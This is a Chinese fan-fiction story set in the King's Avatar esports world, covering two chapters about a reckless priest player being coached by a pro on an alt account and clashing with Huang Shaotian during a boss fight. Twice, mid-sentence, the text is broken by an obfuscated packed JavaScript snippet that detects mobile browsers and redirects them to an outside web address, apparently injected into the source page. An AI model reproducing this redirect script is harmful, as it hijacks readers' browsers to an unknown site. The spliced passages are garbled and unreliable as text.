《[全职高手]治疗什么的不干了!》 1. 第 1 章 第五赛季的夏休期,荣耀网游的世界频道一如既往地热闹。 野图BOSS荒野镖客刷新在西部荒漠地图,各大公会的团队瞬间挤满了这片黄沙漫天的区域,技能光效和喊杀声混成一片。微草公会的团队频道里,指挥的声音有点急。 “前排稳住!骑士呢?别让BOSS冲进治疗堆!” “骑士倒了两个!BOSS仇恨有点乱!” 混乱中,一个名叫轻舟已过的牧师角色,穿着一身混搭的、谈不上多极品的布甲,正挥舞着一柄看起来颇为沉重的银色十字架,逆着人群往前挤。 “一帆,一帆!跟紧我!”轻舟已过的操作者,夏轻禾,对着耳机那边的乔一帆喊。她的声音清脆,语速很快,带着点压不住的兴奋劲儿。 “轻禾姐,你去哪?那边是正面!”乔一帆的声音透过语音传来,有些担忧。他的刺客账号正潜行在侧翼,寻找机会。 “前排快崩了,我去顶一下!”夏轻禾说着,操控着轻舟已过已经灵活地绕过一个霸图公会的狂剑士,躲开一道擦身而过的剑气,猛地冲到了微草公会阵型最前沿——那里正是压力最大、也最危险的地方。 那里,荒野镖客正挥舞着双枪,子弹乱射,近战范围刀光闪烁,微草的两个守护使者正苦苦支撑,血线像风中的烛火般忽上忽下。 “轻舟你干嘛?回来!你是牧师!”团队里负责调度治疗的副指挥喊道。 夏轻禾全神贯注,没理会。她的眼睛紧盯着屏幕,手指在键盘上轻盈跳跃。只见轻舟已过手中的十字架猛地向前一挥,一记圣光打精准地撞向一道扫向残血剑客的BOSS刀光——“砰!”光芒炸开,竟真的将那道攻击打偏了少许,剑客堪堪保住了最后一丝血皮。 “哟呵!”她小小地欢呼一声,嘴角扬起。升天阵的光圈在BOSS脚下悄然展开,对皮糙肉厚的野图BOSS造成的浮空效果微乎其微,只让它庞大的身躯稍微踉跄了一下,但就是这短暂的迟滞,成功打断了它正在酝酿的一个多段连招。 “治疗!看血!”她嘴里喊着团队该做的事,手上却做着更出格的动作,那柄银色十字架脱手飞出,划出一道低平的弧线,像块结实的板砖,“咚”地一声精准砸在试图从侧面偷袭微草治疗的一个霸气雄图玩家头上。那玩家正读条到一半,被砸得一个后仰,技能硬生生憋了回去。十字架在空中灵巧地回旋,又飞回她手中。 魂御,这是牧师25级就能学的、少有的远程攻击手段,但绝大多数牧师只拿它来丢丢补给品或做极限治疗。像夏轻禾这样把它当远程骚扰和打断技能用,还甩得这么顺手顺风的,着实不多见。 “这牧师……”旁边有微草的玩家看得一愣一愣的。 “别发呆了!加血啊!”夏轻禾一边喊,一边操控角色走位。她的走位很飘忽,不像大多数牧师那样稳妥地扎根在后排,而是游走在战线相对靠前却又并非最危险的地带,像条滑溜的鱼。躲避流弹和溅射伤害的同时,她还能抽空给附近血量危险的队友丢个瞬发的小治疗术。更绝的是,她时不时还挥动十字架,用普通攻击去敲打靠近的敌对公会近战。 “叮!”“当!”十字架敲在板甲上的声音清脆却不痛不痒,伤害确实不高,但那种出其不意的骚扰和明目张胆的“挑逗”,还真打乱了几次对方试图压缩阵型的节奏。而且,这种行为自带强大的嘲讽效果…… “一帆!三点钟方向,那个弹药专家在读条大招!暴缩式手雷!”夏轻禾眼观六路。 “收到。”乔一帆的刺客身影悄然从阴影中浮现,一个干脆利落的背刺加割喉,成功打断了对方的吟唱。 “漂亮!”夏轻禾笑道,顺手给乔一帆的刺客挂上一个持续恢复的恢复术。“保持这个节奏!这BOSS我们能抢到!” 就在这时,一道圣洁而冰冷的火焰,毫无征兆地在轻舟已过脚边无声燃起。 神圣之火!牧师的高阶沉默控制技能! 夏轻禾反应极快,几乎在火光从地面纹理中透出的瞬间,手指本能地一拉鼠标,轻舟已过一个狼狈却及时的侧滚翻,险之又险地避开了那圈致命的沉默范围。滚地的尘土沾了她一身布甲,她心头却是一凛:有高手!而且是个牧师,在针对自己? 抬头飞快扫视,只见不远处,中草堂的队伍稍后方,一个ID叫茯苓的牧师,正安静地站着。他装备看起来只是普通紫装混搭,站位也平平无奇,手里拎着的十字架甚至没什么炫光。刚才那个时机刁钻、近乎预判她走位的神圣之火,似乎就是他放的? 夏轻禾眉头一挑,在公会频道打字,语气带着明显的不满:“茯苓?哥们,你火放错地方了吧?烧自己人?” 茯苓没有立刻回复。过了几秒,聊天框才慢悠悠地跳出一行字:“看你冲那么前,以为你是近战,怕你OT,帮你控下BOSS。” 夏轻禾对着屏幕撇了撇嘴,手指翻飞:“谢了哈,不过不用,我扛得住。你专心奶好T就行。” 打字的工夫,她操作没停,轻舟已过已经一个滑步,目标转向BOSS身后一个正在读条强效治疗术的霸气雄图牧师。 银色十字架再次被她奋力抛出,这次划的是一条高高扬起的抛物线,仿佛真的化作一道微小的逆飞流星,带着破风声砸向那个专心读条的后排牧师。 那牧师显然没料到从如此混乱的战团中心,会飞来这么个不讲道理的玩意儿,“噗”的一声闷响,读条被打断,血条还肉眼可见地掉了一小截。他惊愕地抬头,隔着密密麻麻的人群和技能光效,寻找袭击来源。 轻舟已过早已收回十字架,像个恶作剧得逞又迅速藏好的孩子,在频道里留下一个“( ̄▽ ̄)~*”的表情,继续她的前排骚扰兼辅助治疗工作。 这场BOSS争夺战持续了将近四十分钟。过程中,夏轻禾的高光时刻不少,但也并非没有代价。一次她为了用圣戒之光驱赶两个试图夹击自家魔道学者的敌人,走位过于激进,瞬间暴露在BOSS的范围扫射和三个敌对玩家的集火下。尽管她极限操作,给自己套盾、翻滚、磕药,血线还是瞬间见底,差点被秒。 最终,荒野镖客倒在了中草堂和几家同盟公会的联合输出下。微草公会成功抢到了归属,团队频道里一片欢呼,但消耗也比预想中大。 夏轻禾松了口气,向后靠在椅背上,活动了一下有些发酸的手指。 乔一帆的私聊跳了出来:“轻禾姐,你今天也太猛了,哪有牧师像你这样打的?方神……呃,公会里那些前辈牧师看了,肯定又要说你了。” “怕什么,打赢了就行。”夏轻禾浑不在意,飞快回复,“再说了,站在后面加加加多无聊,这样多有意思。对了,材料分完了吗?有我需要的那几种吗?” “正在拍呢,你那份我会留意的。” 两人正聊着,一个好友申请突然弹了出来,伴随着“叮”的一声系统提示音。 申请者:茯苓。 附加消息:打得不错,聊聊? 夏轻禾挑了挑眉。这个刚才差点用神圣之火沉默她、说话还老气横秋的家伙?她犹豫了一秒,出于好奇,点了通过。 [轻舟已过]:?有事? [茯苓]:你牧师玩得挺别致。 消息回得不算快,语气平淡,听不出褒贬。 [轻舟已过]:一般一般。怎么,刚才没烧到我,不服气? 她 [茯苓]:呵呵。看你操作,基础很扎实,走位、技能衔接都有模有样,意识也不错,知道打断关键技能,保护队友的时机也抓得准。 夏轻禾稍微坐直了点,这家伙……眼光好像挺毒? [轻舟已过]:多谢夸奖?所以呢? [茯苓]:就是打法太……活泼了。牧师毕竟是治疗职业,团队的核心保障。你刚才好几次血线都很危险,如果不是你们团队整体配合还行,加上那个刺客小朋友帮你处理了不少麻烦,你可能已经躺了。 又来了。夏轻禾看着屏幕上的话,不以为然地撇了撇嘴。每个见到她打法的“成熟”牧师,开头都是这一套。她手指敲得啪啪响。 [轻舟已过]:哦,知道了。还有事吗?我要去整理背包了。 [茯苓]:急什么。对方似乎并不在意她的敷衍。你是微草训练营的? 夏轻禾手指一顿。他怎么知道?乔一帆说的?不对,一帆不是多嘴的人。她心里升起一丝警惕,打字回复:“你怎么知道?” [茯苓]:猜的。你对微草公会的战术配合很熟悉,有些小习惯也带点职业训练的痕迹,但又不完全规范。最重要的是,普通玩家像你这么有天赋又这么……热衷冒险的牧师,不多见。 热衷冒险?说得还挺委婉。夏轻禾哼了一声。 [轻舟已过]:喂喂,谁乱来了?我那叫战术灵活!你谁啊,一副指点江山的口气。 [茯苓]:我?一个路过的普通牧师玩家罢了。对方的回答滴水不漏。看你是个好苗子,忍不住多说两句。好好一个治疗,别总想着往前冲,发挥你真正的长处,未来或许能走得更远。 “好好一个治疗,别总想着往前冲”。又是这句话。夏轻禾看着这行字,心里莫名窜起一股熟悉的烦躁。每个人都这么说,训练营的前辈这么说,公会里稳重的牧师这么说,现在连个网游里偶遇的路人也这么说。牧师就该站在后面,牧师就该老老实实当个血瓶架子,牧师就不能有一颗想参与战斗核心、想用更直接的方式影响胜负的心吗? 她盯着屏幕上茯苓这个朴素的ID,手指用力敲击键盘。 [轻舟已过]:谢谢你的好意啊,过我怎么玩是我的事。治疗是我的职业,但怎么打是我的风格。再见! 打完这行字,她干脆利落地关闭了私聊窗口,鼠标甚至悬在了黑名单选项上。但犹豫了一下,还是没点下去。算了,一个莫名其妙、自以为是的路人而已,拉黑反而显得自己小气。 她转头就把这点不快抛在脑后,兴致勃勃地去找乔一帆分材料了。 …… 几天后,另一个野图BOSS的争夺战在烈焰森林展开。这次场面更加混乱,因为蓝溪阁和霸气雄图的人也来了,四方混战。 夏轻禾依旧操控着她的轻舟已过在战火中穿梭。这次她更加留意了一下那个叫茯苓的牧师,但扫了一圈,并没在微草公会的人群里看到他。看来那天真是偶然遇到的。 战斗进入白热化,BOSS红血爆发,范围大招频出,各种公会也开始互相下黑手清场。夏轻禾努力维持着微草前排的血线,同时眼观六路,防备着冷箭。 突然,侧翼蓝溪阁的队伍里冲出一个剑客,速度极快,直扑微草的治疗集中区域。那剑客操作极为犀利,几个起落就突破了外围掩护。 “小心剑客!”有人惊呼。 夏轻禾想也没想,手指本能地操作。天使之翼在轻舟已过身后展开,让她获得短暂的浮空能力,猛地向侧方滑翔了一段距离,正好挡在那个剑客冲击的路线上。 光之束缚从十字架顶端射出,试图束缚住剑客。但那剑客反应极快,一个Z字抖动,竟然避开了光束的主要范围,只是速度稍减,剑气依旧凌厉地刺来。 来不及吟唱强效治疗了!夏轻禾一咬牙,鼠标猛地一甩,键盘敲击。圣戒之光以她为中心爆发开来,虽然不是大范围技能,但近在咫尺的剑客结结实实吃了个满的,血条掉了一截,攻势也为之一缓。 升天阵在剑客脚下绽开,这次成功将他浮空。 “集火那个剑客!”微草这边有人喊。几个远程技能立刻砸了过去。 那剑客在空中受身操 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029039|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作漂亮,硬顶着伤害落地后,毫不犹豫地转身撤退,显然是见偷袭不成果断放弃。 危机暂时解除,但夏轻禾自己的位置也因为刚才的主动拦截和技能释放而变得十分突前和危险。立刻有蓝溪阁的魔道学者和枪炮师注意到了这个落单的、看起来血线不满的牧师。 法术飞弹和炮弹呼啸而来。 夏轻禾瞳孔一缩,手指在键盘上几乎要划出残影。先给自己套了个吸收伤害的护盾,同时操纵角色向最近的掩体——一块燃烧的巨木后滚去。护盾瞬间破碎,她的血量也掉了一大截。 还没等她喘口气,一道蓄势已久的念气波从另一个方向袭来,封住了她横向闪避的路线。 要糟!夏轻禾心里一沉,这个角度和时机,很难完全躲开。 就在这时,一道柔和却坚定的白光笼罩了她。“希望祷言?”她一愣,瞬间回满的法力值让她反应了过来。紧接着,一连串精准及时的治愈术光芒在她身上亮起,将她危险的血线迅速抬升。 同时,她看到那个ID叫茯苓的牧师,不知何时又出现在了不远处,正沉稳地挥舞着手中的十字架。他并没有站得很靠后,而是在一个相对安全又能覆盖到她的位置。他的治疗仿佛经过精确计算,总是落在她最需要的时候,不多不少,正好稳住局势。他甚至抽空放了一个神圣之火,逼退了那个想趁机摸上来的魔道学者。 “发什么呆?后退,和团队汇合!”茯苓在附近频道打出一行字。 夏轻禾回过神来,立刻操作轻舟已过借助掩体和茯苓的掩护,迅速向微草本阵撤去。有茯苓的治疗支援,她撤退得还算顺利。 回到相对安全的区域,夏轻禾看着自己角色的血量被茯苓几下子刷满,心情有点复杂。她在附近频道打字:“……谢了。” 茯苓似乎看了她这边一眼,然后继续专注地给其他队友刷血,过了几秒才回复:“操作不错,反应很快,就是太容易上头。治疗活着,团队才有希望。记住这一点。” 这次,夏轻禾没有立刻反驳。她看着那个忙碌的牧师身影,那沉稳的治疗节奏,对战场局势清晰的判断,以及关键时刻精准的支援……确实和她那种激进的风格截然不同,但不得不承认,非常有效,给人一种安心的感觉。 这家伙……真的只是个“普通玩家”吗? 战斗结束后,夏轻禾忍不住主动给茯苓发了条私聊。 [轻舟已过]:喂,你上次说的话,我仔细想了想。 [茯苓]:哦? [轻舟已过]:你说得对,治疗活着确实很重要。我今天差点就没了。不过……我觉得我的打法也不是全错。你看,要不是我主动去拦那个剑客,我们后面可能就要倒一片治疗了。 [茯苓]:所以呢? [轻舟已过]:所以……有没有一种可能,牧师也可以根据情况,打得更有攻击性一点?不光是站在后面加血?当然,前提是保证自己不能轻易死掉。 屏幕那头,坐在电脑前的方士谦看着这条消息,摸着下巴,忽然笑了。这个叫轻舟已过的小家伙,有点意思。固执,但听得进话;莽撞,却并非无脑;有天赋,更有自己的想法,甚至可以说……有点离经叛道。 他想了想,打字回复。 [茯苓]:理论上,任何职业都没有固定的模板。但如何平衡进攻与防守,如何在保护团队的同时发挥更大的战术价值,甚至如何在保全自己的前提下进行适当的冒险……这些都需要大量的练习、思考和实战积累。不是光有想法和勇气就够的。 [轻舟已过]:那……该怎么练? 方士谦脸上的笑意加深了。他本来只是偶然用小号在网游里转转,没想到还真发现了个有趣的小家伙。看这ID和操作风格,应该就是训练营里王杰希之前提过一句的那个、有点特别的女学员? [茯苓]:你想学? [轻舟已过]:当然想!我觉得我还能玩得更好!不只是加血那种好! [茯苓]:那你先告诉我,你为什么玩牧师?又为什么总想往前冲? 这个问题让夏轻禾愣了一下。为什么玩牧师?因为当初觉得牧师能帮到别人,能决定队友的生死,很酷。为什么想往前冲?因为……看着近战职业在战场上纵横捭阖,看着那些华丽的攻击技能,她心里总有点痒痒的,觉得站在后面虽然安全,但好像少了点什么。她想更直接地参与到战斗的核心中去,不仅仅是作为保障。 她犹豫了一下,还是把自己的想法简单说了,当然,省去了那些“觉得近战很帅”之类的幼稚念头,主要强调了她想对团队有更主动的贡献。 茯苓沉默了片刻。 [茯苓]:想法不错,但路很难走。联盟里几乎没有你这种风格的牧师。你会遇到很多质疑,甚至可能走弯路。 [轻舟已过]:我不怕!总得有人试试嘛!万一我成了联盟第一个‘进攻型牧师’呢?多酷! 方士谦差点笑出声。进攻型牧师?这称呼倒是新鲜。不过,或许……真的可以试试?微草的治疗体系已经很成熟稳定,但也似乎缺少一些变化的锐气。这个小姑娘,说不定能带来点不一样的东西? [茯苓]:好吧。既然你这么有兴趣,我倒是可以偶尔……指点你一下。不过我很忙,时间不定,而且我的方式可能比较直接。 [轻舟已过]:真的吗?太好了!谢谢茯苓大哥!哦不,茯苓老师!我一定认真学! 看着屏幕上那个立刻变得恭敬甚至带着点兴奋的回复,方士谦摇了摇头,关掉了私聊窗口。他靠在椅背上,伸了个懒腰。 “王杰希那小子,回头得跟他打个招呼……训练营里好像有个小家伙,挺有意思的。”他自言自语道,眼里闪过一丝兴味。 也许这个夏休期,不会那么无聊了。 2. 第 2 章 茯苓的教学方式确实如他所说,非常“直接”,甚至到了严苛的地步。 大多数时候,他话不多,只是约个时间地点,在神之领域的某个副本门口或者野外地图碰头。有时候是让她当T,扛着副本里的小怪,练习如何在承受攻击的同时保持自己的血线、兼顾队友,以及精确计算技能冷却时间,在最恰当的时机用出圣光打或升天阵打断怪物技能。 夏轻禾常常被小怪揍得鼻青脸肿,血线像坐过山车,茯苓就在后面慢悠悠地刷着血,偶尔在她即将被拍死的时候才丢个大治疗,然后淡淡地评价一句:“慢了零点五秒。技能后摇没收干净,导致移动慢了。”或者“走位多余,平移两步就能避开,你非要多绕半圈,浪费了零点三秒的治疗窗口。” 他的用词精准得让夏轻禾头皮发麻,什么后摇、窗口期、技能覆盖率,听起来就不像普通网游玩家挂在嘴边的。有一次她忍不住问:“老师,你怎么懂这么多专业术语?” 屏幕那边沉默了两秒,才回过来一句:“看比赛多。” 然后迅速把话题拉回训练:“别打岔,刚才那个升天阵,BOSS抬手的瞬间你就该放,等它脚离地了再放,浮空判定几率下降15%。” 有时候,他会带她去竞技场,开个房间,两人用牧师对打。这种纯治疗职业的内战往往漫长又折磨,比的就是谁更能耗,谁更少犯错,谁更能抓住对方转瞬即逝的破绽。茯苓的操作看起来朴实无华,站位稳健得像磐石,治疗技能释放精准得像用手术刀做剥离,几乎从不浪费任何一点法力值,对自身和对手技能CD的计算精确到令人发指。 夏轻禾则总是试图用她那些花里胡哨的走位和出其不意的魂御、圣光打去干扰,但十次有八次都被茯苓轻松化解,他好像总能预判到她下一步想做什么。剩下的两次,是她运气好,或者茯苓似乎故意卖了个破绽。 “你的想法太多,手上的操作跟不上脑子里的骚操作。”茯苓有一次在她又一次试图用十字架虚晃一枪接升天阵,却被他一个轻巧的侧步避开,反手一个催眠定住后,总结道。他的声音透过语音传来:“节奏,注意技能公共冷却和自身硬直的节奏。你想打进攻,就得比对手更清楚你自己的每一个动作会带来什么后果,会把自己暴露在什么风险下。莽,和带着计算的险,是两回事。” 夏轻禾咬着嘴唇,看着屏幕上被定住动弹不得的轻舟已过,心里那股不服输的劲头“噌”地烧得更旺了。但是她不再像起初那样急着反驳,而是默默记下茯苓说的每一句话,尤其是那些带着数据分析的点评。训练结束后,她把录像翻来覆去地看,一帧帧分析自己的失误,也琢磨茯苓那些看似简单、实则每一步都卡在最优解上的操作。 她确实感觉到自己在进步,那种对牧师技能的理解,对战场时机的把握,不再仅仅停留在“我觉得可以上”的直觉层面,而是开始有了一些更清晰的、可以称之为战术逻辑的东西。当然,她那颗想往前冲的心并没有熄灭,反而在茯苓这种“用最理性的方式分析最疯狂可能性”的教学下,燃烧得更旺、也更清醒了——现在她知道,冲出去之前,得先想好怎么活着回来,甚至,怎么让这次“冲锋”带来最大的团队收益。 这天,茯苓发来消息,约她去神之领域70级区域永夜峡谷附近。那里刷新了一个世界BOSS,暗夜精灵刺客影舞者。 “实战检验,抢BOSS,跟团。”茯苓的留言一如既往的简短且目标明确。 “明白!保证完成任务!”夏轻禾立刻回复,摩拳擦掌。这可是检验近期学习成果的绝佳机会! 永夜峡谷的地形复杂,光线昏暗,遍布着高大的发光真菌和嶙峋的怪石,很适合影舞者这种高机动性、擅长潜伏背刺的BOSS发挥,也给抢BOSS的混战增添了不少变数。中草堂、蓝溪阁、霸气雄图等大公会的主力团早已到场,各自占据有利地形,虎视眈眈。 夏轻禾操作着轻舟已过,跟着茯苓,混在中草堂的团队里。她这次没有像以前那样急吼吼地往前挤,而是注意着自己的站位,保持在既能覆盖到前排坦克、又处于多个队友轻微交叉掩护、相对安全且便于观察全局的位置。她看了看身边茯苓的角色,那家伙还是那副波澜不惊的样子,十字架随意地拎在手里,站的位置看似随意,却恰好能同时看到BOSS动态和两个侧翼的团队情况。 战斗很快打响。影舞者的身影在阴影与发光真菌间时隐时现,快如鬼魅,普通的范围技能很难命中,它经常突然出现在治疗或远程职业身边,一套爆发就能让人减员。各大公会的团队都承受着巨大压力,阵型被拉扯得有些松散,治疗们更是精神高度紧张。 中草堂这边,压力同样不小。夏轻禾全神贯注,呼吸都放轻了,手指在键盘上轻盈而稳定地跳动。神圣之火被她当作预警和封锁工具,适时地丢在影舞者可能闪现的路径上进行预判;圣戒之光在它显形攻击的瞬间爆发,进行小幅度驱赶和伤害;升天阵则努力预判它的落点,试图制造哪怕零点几秒的控制。她的治疗也稳稳地落在需要的人身上,尤其是注意保护那些被影舞者标记或走位稍显脱节的脆皮职业。 她感觉自己进入了一种奇妙的状态,视野似乎分成了好几块,一块盯着BOSS,一块看着团队面板的血线,还有一块余光扫视着周围潜在的威胁。 “不错,预判有进步,对BOSS闪现节奏开始有感觉了。但刚才那个神圣之火放早了半秒,它上次闪现后第8秒才可能再用,你第7.5秒就放了,浪费。”茯苓的声音突然在团队频道里响起,依旧是那种平淡的、仿佛在陈述事实的点评语气,却让夏轻禾背后一凉——他连BOSS技能CD都心里默数?! 夏轻禾脸一热,小声在麦克风里嘀咕:“知道了老师……”心里却像揣了只小兔子,有点慌,又有点隐秘的开心,茯苓老师居然夸她有进步了!虽然紧接着就是更精确的批评…… 混战中,她也注意到了乔一帆的刺客灰月。他的操作很努力,一直在试图寻找机会对BOSS进行背刺输出,或者干扰其他公会的关键角色。 他的走位很谨慎,看得出有些紧张,但基本指令都执行到位,存在感不高,却很少出错。有一次,蓝溪阁一个战斗法师的长矛即将戳中一个中草堂残血魔道学者的后背,乔一帆的灰月用一个近乎本能的弧光闪位移,险之又险地挡在了中间,自己硬吃了这一击,保住了队友。 “那个小刺客,意识还可以,救场本能不错,就是太稳了,缺了点抓住机会就要撕开局面的锐气。”茯苓私下里给她发了条消息。 夏轻禾立刻回复,护犊子的心态表露无遗:“一帆他很努力的!他就是性格比较谨慎,而且在训练营也是这么被要求的……” 茯苓回了个“嗯”,没再说什么,但夏轻禾莫名觉得这个字意味深长。 战斗持续着,影舞者的血量缓慢下降,各大公会之间的摩擦也愈发激烈,互相下黑手、抢仇恨、截治疗的事情层出不穷。蓝溪阁那边攻势尤其猛烈,他们的剑客和术士配合默契,不断给中草堂的侧翼施加压力,试图撕开缺口。 突然,一道耀眼的剑光如同撕裂夜空的匹练,从蓝溪阁的队伍中激射而出,速度快得只在视网膜上留下残影,目标直指中草堂治疗相对集中的区域!那剑客的ID在昏暗环境中依然张扬刺眼——剑定天下第一。 “小心!有高手!”团队频道里有人惊呼。 那剑客的操作犀利无比,几个连续的三段斩、升龙斩衔接得行云流水,轨迹飘忽,瞬间就绕过了中草堂外围仓促组成的拦截线,眼看就要杀入腹地,一旦被他切入,治疗阵型一乱,后果不堪设想。 夏轻禾心头一紧,手指已经条件反射地按在了天使之翼的快捷键上。但还没等她动作,附近频道突然被一大串毫无停顿、标点符号都嫌多余的文字泡刷屏了,那刷屏速度简直像是按键长了翅膀: [剑定天下第一]:哎哟中草堂的牧师兄弟们站得这么密是准备开茶话会吗这影舞者还没跳舞呢你们先排排坐分果果了要不要这么客气啊我来给你们加点料助助兴怎么样保证又快又准一剑一个绝对不拖泥带水! 这垃圾话的密度、语速和扑面而来的嘚瑟劲儿……夏轻禾眼角狠狠一跳,这风格,整个荣耀联盟独一份! 眼看那剑客就要冲到眼前,夏轻禾也顾不得多想了,天使之翼猛地展开,洁白光翼在昏暗峡谷中格外醒目,轻舟已过横向位移,再次试图拦截。同时,她脑子里某个开关好像被这垃圾话激活了,手指在键盘上敲出残影,回复速度竟然也丝毫不慢: [轻舟已过]:哪来的野猴子在频道里乱敲键盘?剑定天下第一?口气不小,剑耍得跟烧火棍似的到处乱挥也好意思出来显摆?砍人都砍不到治疗堆里,是昨晚没睡醒还是手抖了老年帕金森啊? 她的回复不仅快,而且语气十足挑衅,带着一种“谁怕谁啊”的彪悍。 那剑客疾冲的身影明显顿了一下,似乎没料到这个看起来装备普通、正在执行拦截任务的牧师嘴皮子这么利索,还敢主动反喷回来。紧接着,更密集、更汹涌的文字泡如同火山爆发般喷涌而出: [剑定天下第一]:哈!一个牧师还敢这么嚣张?穿个布甲拎个十字架就以为自己是圣斗士了星矢都要喊你一声师姐!来来来让我看看你这小身板经得起我几剑别以为会加两口血就了不起了在我眼里你就是个会移动的经验包还是蓝色稀有品质的! [轻舟已过]:经验包?说得好像你能摸到我似的。Z字抖动学得跟中风了似的路径可预测到我家楼下打太极的老太太都能预判你下一步往哪拐,就这还天下第一?是天下第一搞笑吧?你们蓝溪阁现在是按脸皮厚度招人的吗城墙拐角都比不上您这脸皮! [剑定天下第一]:我靠!你懂什么!我那叫战术迂回战略转移!牧师就该老老实实蹲在后面加血往前凑什么热闹找死啊!看我这就送你回城读秒让你知道剑圣的厉害! [轻舟已过]:哟,急了?被说中了?有本事别哔哔,过来单挑啊!看是你的剑快还是我的十字架硬!姐姐我敲碎的剑客脑袋比你吃过的经验丹都多!保证给你敲个对称的! 两人你来我往,文字泡在附近频道疯狂刷屏,内容从最初的技术点评迅速歪楼到互相嘲讽人身攻击,再到毫无意义的语气词和表情符号对轰。 中间夹杂着剑定天下第一不断变换角度试图突破夏轻禾的拦截,却屡屡被她精准的圣光打专门瞄着他冲锋的落脚点、恰到好处的升天阵封锁他闪避空间以及她自己那滑不留手、带着点预判性质的走位干扰。她甚至抽空用魂御十字架飞过去砸了他一下,虽然伤害不高,但侮辱性极强。 中草堂和蓝溪阁的其他人,一开始还全神贯注地应对着BOSS和其他对手的偷袭,后来渐渐都被这频道里堪称“盛况”的文斗吸引了部分注意力。 公共频道罕见地安静了片刻,似乎大家都在默默围观这场别开生面的“峡谷好声音(骂战版)”。 中草堂团队语音里有人小声嘀咕,带着难以置信的笑意:“轻舟这妹子……嘴皮子跟操作一样骚啊……这输出,抵得上半个团了吧?” 蓝溪阁那边也有人汗颜,在自家频道吐槽:“黄……呃,剑定大神今天这是遇到对手了?这牧师哪冒出来的?” 乔一帆操纵着灰月,悄悄靠近轻舟已过,在团队语音里压低了声音,急急地说:“轻禾姐!轻禾姐!冷静点!那个剑定天下第一……他,他可能是黄少天!蓝雨的那个黄少天大神!” 夏轻禾正怼得上头,十指在键盘上飞舞都快出现幻影了,一听这话,眼睛反而更亮了,仿佛有两簇小火苗在瞳孔里燃烧。她手上敲键盘的速度又快了几分,内容也越发“凶猛”: [轻舟已过]:我当是谁呢这么聒噪!原来是联盟著名话痨剑圣黄少天大驾光临网游体验生活啊!失敬失敬!怎么,在职业赛场喷垃圾话还没过瘾,跑网游里来虐菜找存在感了?你们蓝雨今年冠军没了所以闲得蛋疼是吗?哦差点忘了,冠军是我们微草的王队手里抱着呢哈哈哈哈! 她这一下子,等于直接把对方身份挑明到了所有人眼前。附近频道围观群众顿时一片哗然,虽然早有猜测,但被这么直接点破还是够刺激。原来真是黄少天!那个剑圣! 剑定天下第一,或者说黄少天,似乎也愣了一下,大概没想到对方不仅操作能缠住自己,嘴炮不输,还敢直接掀他马甲。然后,文字泡进入了终极狂暴状态,几乎要把聊天框撑爆: [剑定天下第一]:靠靠靠!谁话痨了!我那是战术骚扰心理战懂吗不懂不要乱说!还有我们蓝雨好着呢下个冠军迟早是我们的你们微草等着吧!你个小牧师知道什么毛都没长齐就学人抢BOSS有本事报上名来!哪个训练营跑出来的这么没大没小! [轻舟已过]:行不更名坐不改姓,中草堂轻舟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029040|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已过!专治各种不服,特别是话痨型不服!黄少天你有本事别跑,看我不把你的夜雨声烦敲成哑巴烦! 两人这边吵得热火朝天,几乎吸引了全场大半的“火力”和注意力。黄少天似乎也被彻底激起了好胜心,操作着剑客更加卖力地想要突破夏轻禾的防守,而夏轻禾也毫不示弱,把最近从茯苓那里学到的防守反击、节奏控制和心理对抗技巧发挥得淋漓尽致。 虽然是个牧师,硬是凭着预判、走位和那几个有限的攻击控制技能,把联盟顶尖剑圣在网游里的攻势缠得一时难以寸进。当然,这也多亏了是网游环境,黄少天用的也不是职业账号夜雨声烦,并未尽全力,且多少受了点垃圾话对轰的影响。 就在这混乱而热闹、频道里刀光剑影与文字横飞齐飞的当口,谁也没太注意,那个ID茯苓的牧师,不知何时已经悄无声息地脱离了主战团最激烈的区域,出现在一个相对偏僻但视野极佳、能俯瞰大半个战场的巨石之上。 茯苓,或者说屏幕前的方士谦,看着频道里那飞速刷新的、充满活力的对骂,嘴角勾起一个几不可察的、带着点狡黠和兴味的弧度。 他目光快速扫过整个战场:影舞者的血线已经很低,进入狂暴前的最后阶段;各大公会的注意力都被黄少天和那个不知天高地厚却意外好用的小丫头的骂战吸引了不少,尤其是蓝溪阁,自家大神在那边“奋战”,他们的配合和集火节奏明显出现了细微的脱节和迟缓。中草堂这边,因为夏轻禾成功拖住了最大的突发威胁,阵型反而在混乱中勉强维持住了。 就是现在。 他操作着茯苓,手中的十字架开始凝聚起璀璨而内敛的圣光,却不是对着任何玩家,而是遥遥锁定了在阴影中又一次显形、身体微躬、即将释放大招影舞·千杀的影舞者。他的计算精确到了帧:BOSS技能前摇,己方主要输出技能CD,敌方可能干扰的路径…… 神圣十字架! 巨大的光质十字架仿佛凭空出现,带着净化与审判的威势,从天而降,精准无比地轰击在影舞者身上!不仅造成了可观的伤害,那附带的范围光耀效果和概率触发的圣光护盾,也瞬间扰乱了BOSS的大招释放,让他产生了短暂僵直,并对附近几个血量不满的中草堂主力输出套上了宝贵的护盾。 这一击,如同黑夜中点燃的烽火,又像是发令枪响! 中草堂的指挥瞬间从“看戏”状态惊醒,嘶声吼道:“BOSS残血!所有人转火!最大输出!别管那个剑客了!治疗保好输出!” 而蓝溪阁那边,因为黄少天被夏轻禾缠住,指挥的衔接和团队的响应,肉眼可见地慢了那关键的一拍半拍。其他公会也被这突如其来的、时机刁钻的爆发吸引了注意,下意识地将技能转向影舞者,但节奏已乱。 